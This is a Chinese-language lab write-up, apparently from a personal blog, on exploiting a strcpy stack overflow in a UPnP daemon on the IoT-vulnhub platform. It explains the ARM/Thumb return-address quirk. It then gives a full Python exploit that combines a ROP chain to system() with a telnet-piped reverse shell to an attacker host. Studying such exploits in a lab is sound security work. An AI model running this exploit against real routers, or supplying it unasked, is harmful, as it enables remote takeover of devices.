继vivotek摄像头调试成功后,在IoT-vulnhub平台调试的第二个洞,这是一个由于strcpy导致栈溢出的洞,处理的数据是upnp服务接收的UDP数据包

image-20201112105313699

image-20201112105352444

从中可以看到upnp会为接收到的数据创造一个0x1FFFu的内存,这片内存空间的地址而进入到vuln函数后通过strcpy传递到栈上,而该漏洞函数的栈空间大小只有0x658,所以完全足够覆盖返回地址。

利用给的POC,可以得到覆盖后的地址显示为“CCCB”,确实覆盖了函数地址但仔细发现POC构造的数据为“CCCC”,传递过去后会莫名奇妙的减1,通过查询资料可以了解到在arm架构中有两种模式arm和thumb模式,这两种模式可以同时存在于程序中,其中arm模式的指令为四字节,thumb模式指令为两字节,两种模式转换要通过bx指令,当bx指向的内容最低位为1表示thumb,为0表示arm。当程序出现异常时会转换成arm模式也就是会将最低位置0,所以将构造的payload设置位“BBBB”,返回地址显示的也是“BBBB”。

由于只给了POC脚本,根据网上查阅的信息该类设备通常开了ASLR,所以要利用堆栈重用攻击构造ROP链,可以参考https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/,我在调试就把ASLR关了,稍微简单点。

在构造payload过程中要注意v51是一个指针型变量,所以它指向的空间必须是存在的,因此要赋给它一个存在的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import socket
import struct
libc_base=0x76dd0000
stack_base=0x7effdb8c
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # dummy
p32(0x7effa53c) + # v41
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x76e0db80) + #pop {r0,pc}
p32(0x7effdbcc) + #stack_base+0x40指向命令地址
p32(0x76e2a270) + #&system
b"pwd;"*80+b"telnet 192.168.2.1 8080 | /bin/sh | telnet 192.168.2.1 1080" # pwd;*80用作缓冲
)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.recvfrom(1024)
s.close()

由于靶机上没有nc命令但有telnet命令,因此尝试用telnet反弹shell,主机上开两个窗口

分别监听1080和8080端口,一个窗口用作命令执行,一个窗口用作回显

image-20201112144508723

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • Copyrights © 2020-2022 llx-moon
  • Visitors: | Views:

请我喝杯咖啡吧~